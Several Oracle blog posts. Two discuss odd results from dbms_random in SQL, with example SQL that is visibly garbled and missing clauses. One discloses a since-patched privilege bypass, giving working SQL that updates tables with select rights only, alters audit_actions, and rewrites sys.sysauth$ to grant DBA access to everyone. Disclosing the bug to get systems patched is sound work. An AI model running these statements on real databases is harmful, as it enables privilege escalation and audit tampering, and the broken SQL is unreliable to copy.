This is a short update to the presumed bug I wrote about recently in this post.
After a few back and forth with Oracle support it turns out this is a well-known (to them) effect of using dbms_random in SQL.
The base for this seems to be a bug report in 10g that was declared “not a bug”. You can read the bug report on MOS. It is also covered in this doc that references the same bug.
It turns out that a function can be called many times during the evaluation. This can of course cause all kinds of havoc to the expected result of the SQL when the function produces a non deterministic result.
You can prove it to yourself by writing a wrapper for dbms_random.value.
As a user I still feel it seems it should not produce results like this, while I understand and appreciate that on a purely technical level it is an effect of how the query is executed. It is however deemed to be “working as designed”.
The linked document shows a test case to prove how it works. It is surprising that this is the result, but it is good to be aware of this and be careful with dbms_random when using it in SQL. The danger is that the effect may change with small changes in optimization or with new versions of the database.
You are probably better off to avoid it in SQL when there are alternatives. When there is not, make sure to put such SQL on the list of code to test with every patch and new version.
Posted in Bug, SQL
Sometimes the results of a SQL is not at all what you expected. Most of the time it is a simple error you’ve made. Very rarely is it an issue that after hours of looking at it still looks like SQL does something wrong, But it still happens.
This post is about one such situation that occurred las week. If you read the last blog post, you’ll recognize some of this. It turned up when I looked at transforming that SQL to create the many million rows I needed.
with ds as (
select level rad
connect by level < 5
, a as (
select trunc(dbms_random.value(1900, 2020)) bs
select 2025 from dual
, b as
select a.bs, substr(a.bs, ds.rad, 1) dgt
from a, ds
select b.bs, b.dgt
where b.dgt >= 0
order by b.bs
When I execute this it should get me eight rows, Four with a number somewhere between 1900 and 2020 and four with 2025. Those four then also has each digit in those number broken out as the second value in the result table.
An example would be like this:
The first four are 1989 with the digits 1,9,8,9 broken out and the second is 2025 with the digits 2,0,2,5 broken out.
Now the problem is that as written the SQL will return results that should not be possible. An example of the result it returns is.
Note the first four rows, for some reason it turned them into four different years. It should not be possible.
What happens seems to be a query transformation gone wrong. It does things that it should not when the execution of a SQL is not deterministic (due to the use of dbms_random).
The thing that triggers it to transform seems the be the very last condition in the SQL “where b.dgt >= 0”. That condition should never be fals with the data generated in the SQL, it is there just to showcase the bug. If you remove it you will get the expected result.
Same thing if you change “union all” to “union”, that also makes it produce a correct result. Note that as the query is written, there should be no difference in the result between union all and union.
An argument against it having anything to do with query transformation is that the hint NO_QUERY_TRANSFORMATION has no impact on the behavior.
I may of course have overlooked something here, but I have reviewed this behavior with two colleagues I enjoy debating SQL with.
This blogpost is largely as a reminder to myself and to anyone who may be interested in seeing the odd behavior non deterministic SQL in pre-factoring clauses seem to cause in some odd situations.
Posted in Bug, SQL
A friend and at the time co-worker at Kentor AB found this bug. He found the bug and had the tenacity to track down and prove that it was a bug and not just a flaw in the logging mechanism where this first was indicated to occur.
Today is the day when I can finally speak about a bug I asked for a peer review on over a year ago. I had to pull that blog post offline when it was clear that we had in deed found what I think is a monster bug. It was difficult to fix so while it was quiet online about the bug, Oracle was hard at work on fixing it. In fact it turned out to be two different bugs each plugged separately.
Before we get to the meat of the issue, have you applied the January 2014 CPU? No? OK, we’ll wait while you take care of that. Trust me, you want to have it installed. Back already? Good. Patching really doesn’t take too long. 🙂
I’ve spent a number of years trying to very diligently apply the correct grants for different users to make sure every user had just what they needed. It turns out it was a wasted effort. Had the users known about this bug, they could have circumvented their lack of access. Truth be told, I really have no idea if someone did. In fact the bug was such that it was abused in production at a large Oracle shop by mistake. This bug is present in all versions of the database (as far as we know) and it has been fixed with the latest CPU for 11g and 12c. If you run on an older version, you should upgrade now! Running older than 11 at this point probably means you’re not reading blogs about databases anyway.
So what exactly is the bug then? In short, you can update data in tables you only have select rights on. How can that be, you’ve tested that multiple times. True, the SQL has to be written in a pretty specific way to trigger the bug. In a database that is a base install or at least predates the january CPU, the following test case should prove the issue. You can use most of this to verify the problem, you will probably not ant to test with privilege escalation in a production system though.
Let us first create som users for our test.
drop user usra cascade;
create user usra identified by usra default tablespace users;
alter user usra quota unlimited on users;
grant connect to usra;
grant create table to usra;
drop user usrb cascade;
create user usrb identified by usrb;
grant connect to usrb;
grant create view to usrb;
drop user usrc cascade;
create user usrc identified by usrc;
grant connect to usrc;
grant select any dictionary to usrc;
We create a user usra that can create tables, usrb that can create views and usrc that can only select from the dictionary. These users will allow us to test the different versions of this bug in a controlled fashion.
Lets set up a test table in the usra account.
create table t1 (col_a varchar2(10) not null);
insert into t1 (col_a) values ('Original');
grant select on t1 to usrb;
We now have a table with a single row that usrb can only read from, or so we would think. Let us first create a very basic view and try to update it.
drop view view1;
create view view1 as select * from usra.t1;
update view1 set col_a = 'Whoops1';
So that didn’t work. Or rather, the view was created but the update failed. That is how it should be, we have no update access on the table.
Lets now try to create a view on that view which we then update to see what happens if we add just a little bit of complexity to this.
drop view view2;
create view view2 as select * from view1 where col_a in (select max (col_a) from view1 group by col_a);
update view2 set col_a = 'Whoops2';
This update suddenly works (before the above mentioned CPU). So our meticulously granted privileges are overridden by a view with a sub-select on the same view. Not good.
Could the sub-select be simplified? Does it need to select from the same view and is an aggregation needed to make this bug expose itself?
drop view view3;
create view view3 as select * from view1 where 1 in (select 1 from dual);
update view3 set col_a = 'Whoops3';
Apparently it could not be simplified enough to just do a sub-select from dual. On to other possible simplifications.
What if we just read a hard-coded value from the first row in the table, would that work?
drop view view4;
create view view4 as select * from view1 where 1 in (select 1 from view1 where rownum = 1);
update view4 set col_a = 'Whoops4';
Yup, that is enough to break through the privileges.
How about just using a select without even having to have the right to create a view?
(with x as (select * from usra.t1) select * from x) t1
set col_a = 'Whops5';
Ouch. That too was possible. So all it takes is a select access on a table and we can update it. How do we stop someone from abusing this when not even a pure select with no right to create objects is enough? You see why we pulled the original blog-post? This was for a time something that would be very hard to defend your database against.
How about using it to update things in the data dictionary, yes that too is possible. Some things are available to any user such as user_actions.
(with x as (select * from audit_actions) select * from x) t1
set name = 'Mathias was here';
This update also works. So auditing can be changed, probably not a good thing if you trust your audit_actions table.
How about escalating the privileges we have (or rather that anyone has). Yes, that is also possible with a bit of knowledge.
select * from sys.sysauth$
where grantee# = (select user_id from all_users where username = 'HR')
and rownum = 1;
Here we steal a privilege held by the HR user, probably a privilege that will not be missed for a long time in most databases. With this we will make public a proper DBA user meaning that any account can do almost anything in the database.
(with x as (select * from sys.sysauth$ where grantee# = 103 and privilege# = -264 and sequence# = 1551)
select * from x) t1
set grantee# = 1
,privilege# = 4;
Just like that we have given ourselves and everyone else DBA access. Now we can do whatever we want including covering our tracks in most databases.
So I ask again, are you *really* sure that your database is secure?
This is scary stuff and this only goes to show that even a mature product needs to be kept up with current patches. If you are not on a CPU from this year, PLEASE give it a high priority to make it happen today.
And PLEASE do not test this in production. If you do and your DBA catches you, he will lecture you forever if not reporting you up the chain of command. But please do spread the word that this issue exists and needs to be plugged ASAP.
Posted in Bug, DBA, Oracle, Security